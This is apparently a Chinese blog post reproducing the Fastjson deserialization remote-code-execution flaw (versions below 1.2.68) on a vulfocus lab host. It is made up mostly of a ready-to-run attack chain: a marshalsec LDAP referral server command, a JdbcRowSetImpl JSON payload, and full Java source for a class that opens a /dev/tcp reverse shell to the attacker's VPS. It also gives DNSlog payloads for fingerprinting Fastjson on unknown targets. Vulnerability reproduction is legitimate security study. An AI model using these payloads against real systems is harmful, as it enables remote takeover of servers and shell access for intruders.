fastjson 远程命令执行复现
0x00 简介
fastjson 是阿里巴巴的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson是一个Java库，可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞，攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
0x02影响范围
Fastjson < 1.2.68
Fastjson爆出的绕过方法可以通杀1.2.68版本以下所有
0x03漏洞复现
参考链接：
https://www.cnblogs.com/renhaoblog/p/13033723.html
原理是：就是要理解rmi/ldap 是什么。简单来说就是远程方法调用。
A去调用主机c的rmi里的恶意java程序。 构造的恶意java程序可以是写文件、反弹shell等。构造什么就执行什么。（docker部署环境很多包都没装，所以反弹shell比较直观）
所以我们需要 ：
主机A 漏洞服务器
主机C rmi/ladp服务器
主机B 恶意java类
（此处B、C是一台服务器的不同端口，最终监听反弹shell也是该服务器，nc监听 3333）
配置如下：
主机A vulfocus fastjson漏洞主机 113.**.3
主机B、C 分别为vps的两个服务。107.*.*.24
主机B 开启ldap服务主机。命令如下：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://107.*.*.24:9090/#Exploit 9999
主机C 开启web服务，可以访问我们编译好的class文件。 开启服务命令，python3 -m http.server 9090（执行此命令目录为存在ExPloit.class文件目录）
0x04工具链接
工具：marshalsec，需要用mvn打包一下，
github：https://github.com/mbechler/marshalsec
链接: https://pan.baidu.com/s/1wfPsOAWKuzh8MVGRT6CSFg 提取码: yk3i 复制这段内容后打开百度网盘手机App，操作更方便哦
burp payload如下：
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://107.*.*.24:9999/Exploit", 此处为ldap 地址非 python web服务地址。
"autoCommit":true
}
nc反弹shell
攻击反弹shell脚本
使用 javac Exploit.java生成 Exploit.class文件。
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/107.*.*.24/3333;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
0x05判断使用fastjson的方法
未知目标是否使用 Fastjson ，但站点有原始报错回显
如果站点有原始报错回显，可以用不闭合花括号的方式进行报错回显，报错中往往会有fastjson的字样
例如
无回显，通过DNS回显的方式盲区分 Fastjson 和 Jackson
我使用以下payload测试
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
1 {"@type":"java.net.Inet4Address","val":"dnslog"}
2 {"@type":"java.net.Inet6Address","val":"dnslog"}
畸形的
1 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
POC:
要嵌套在里面zeo里面
1{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1 {"@type":"java.net.Inet4Address","val":"dnslog"}
2 {"@type":"java.net.Inet6Address","val":"dnslog"}
3 {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
4 {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
5 {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
6 Set[{"@type":"java.net.URL","val":"dnslog"}]
7 Set[{"@type":"java.net.URL","val":"dnslog"}
8 {{"@type":"java.net.URL","val":"dnslog"}:0
内容参考链接如下：
https://blog.csdn.net/god_zzZ/article/details/107122487
